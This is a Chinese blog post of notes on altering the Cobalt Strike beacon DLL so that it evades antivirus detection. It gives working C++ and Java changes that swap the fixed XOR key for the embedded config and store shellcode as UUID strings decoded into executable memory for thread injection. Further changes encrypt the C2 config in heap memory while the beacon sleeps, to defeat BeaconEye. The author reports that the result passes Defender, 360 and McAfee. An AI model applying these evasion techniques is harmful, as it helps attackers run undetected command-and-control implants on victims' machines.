cobalt strike beacon dll 改造实现免杀

前言:beacon dll 改造实现笔记

参考文章:https://github.com/WBGlIl/ReBeacon_Src

技术不到位,下不了手,而且相关的反射dll进程注入也有点问题,更多的可以参考https://github.com/H4de5-7/geacon_pro 这份,代码简洁易懂

异或特征修改

自己大概看完ReBeacon_Src项目之后,profile的特征点太大,虽然进行了异或加密,但是异或加密算法^0x2Eu是固定写死的

beaconMain.cpp

// 解密内嵌的配置信息
for (int i = 0; i < 0x1000; ++i)
{
rawData[i] ^= 0x2Eu;
}

那么这种情况下在解密的时候,这一串字节数组就是很大的特征点,放到virtualtotal检测也验证了这种情况,报毒的全是shellcode

定位到客户端代码中异或加密profile的部分,代码位于beacon.BeaconPayload#beacon_obfuscate

for(int var2 = 0; var2 < var0.length; ++var2) {
var1[var2] = (byte)(var0[var2] ^ 46);
}

这里修改的话直接将异或46的值修改为47

对应的beacon中的代码同样改为47,十六进制对应0x2Fu

替换配置文件的时候直接搜索0x2F 0x2E 0x2F 0x2E 0x2F即可,然后进行替换测试上线,发现还是可以上线执行命令的,到这里的话第一处就改好了

shellcode特征码修改

将其改造成注入的时候进行uuid解码,注入完成之后进行释放解码时候的内存空间即可

Global.cpp

const unsigned char sub_10033020_length[76] = {
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01
};
const unsigned char sub_10033070_length[297] = {
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
};
const char* sub_10033020_uuid[] = {
"56e58955-8b57-0875-8b4d-0ce800000000",
"25c08358-ec83-8908-e2c7-420433000000",
"09e80289-0000-8300-c414-5f5e5dc20800",
"ff243c8b-482a-c031-57ff-d65f50c74424",
"00002304-8900-243c-ff2c-240000000000",
};
const char* sub_10033070_uuid[] = {
"ce8948fc-8948-48e7-83e4-f0e8c8000000",
"50415141-5152-4856-31d2-65488b526048",
"4818528b-528b-4820-8b72-50480fb74a4a",
"48c9314d-c031-3cac-617c-022c2041c1c9",
"c101410d-ede2-4152-5148-8b52208b423c",
"66d00148-7881-0b18-0275-728b80880000",
"c0854800-6774-0148-d050-8b4818448b40",
"d0014920-56e3-ff48-c941-8b34884801d6",
"48c9314d-c031-41ac-c1c9-0d4101c138e0",
"034cf175-244c-4508-39d1-75d858448b40",
"d0014924-4166-0c8b-4844-8b401c4901d0",
"88048b41-0148-41d0-5841-585e595a4158",
"5a415941-8348-20ec-4152-ffe05841595a",
"e9128b48-ff4f-ffff-5d4d-31c94151488d",
"ff501846-1076-76ff-0841-51415149b801",
"00000000-0000-4800-31d2-488b0e41bac8",
"ff40a438-48d5-c085-740c-48b800000000",
"00000000-0aeb-b848-0100-000000000000",
"50c48348-8948-c3fc-0000-000000000000"
};

common.cpp

#pragma pack(1)
typedef struct {
char field_0[sizeof(sub_10033020_length)];
HANDLE hProcess;
DWORD field_12D;
PVOID StartAddress;
DWORD field_135;
PVOID lpParameter;
DWORD field_13D;
HANDLE hThread;
DWORD field_145;
}BeaconShellcode;
#pragma pack()
int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter)
{
OSVERSIONINFOA VersionInformation = { 0 };
VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if (!GetVersionExA(&VersionInformation))
{
return 0;
}
if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2)
{
SetLastError(5);
return 0;
}
char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020_length), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress)
{
return 0;
}
DWORD dw_buf_num;
DWORD_PTR p_ptr;
BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress2)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
return 0;
}
// Generate uuid Decode
dw_buf_num = sizeof((unsigned char*)sub_10033020_uuid) / sizeof(sub_10033020_uuid[0]);
p_ptr = (DWORD_PTR)lpAddress;
for (size_t i = 0; i < dw_buf_num; i++)
{
RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033020_uuid[i], (UUID*)p_ptr);
if (rpc_status != RPC_S_OK) {
return -1;
}
p_ptr += 16;
}
// Generate uuid Decode
dw_buf_num = sizeof((unsigned char*)sub_10033070_uuid) / sizeof(sub_10033070_uuid[0]);
p_ptr = (DWORD_PTR)lpAddress2;
for (size_t i = 0; i < dw_buf_num; i++)
{
RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033070_uuid[i], (UUID*)p_ptr);
if (rpc_status != RPC_S_OK) {
return -1;
}
p_ptr += 16;
}
//memcpy(lpAddress, sub_10033020, sizeof(sub_10033020));
//memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070));
lpAddress2->hThread = 0;
lpAddress2->hProcess = hProcess;
lpAddress2->StartAddress = BaseAddress;
lpAddress2->lpParameter = lpParameter;
if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess))
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(5);
return 0;
}
if (!lpAddress2->hThread)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(6);
return 0;
}
ResumeThread(lpAddress2->hThread);
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
return 1;
}

测试下还是可以正常执行

C2Config堆内存加密

发现一个问题就是虽然在c2 profile中配置了sleep_mask,但是通过beaconEye工具还是检测到了C2Config

在BeaconSleep.cpp中对每次sleep之后进行异或加密即可隐藏配置信息

再次通过扫描进行扫描不出来了

通信标识符

在服务端和beacon通信的时候存在部分标志位的特征,可以同样可以进行修改,这里就不记录了

关于ReBeacon_Src的profile一个小bug

当自定义profile的http-get或者post的时候mask属性值来进行加密操作的时候

在beacon端的comm.cpp的xor_decode解密的时候,如果v8+v9去数组取值会导致错误

这里需要改为v11 = *(char*)(out + v8 + v9) ^ in[v8 & 3];就可以正常运行了

杀毒测试

defender的环境测试如下所示

360核晶模式的环境测试如下所示

麦咖啡的环境测试如下所示

posted @   zpchcbd  阅读(1913)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示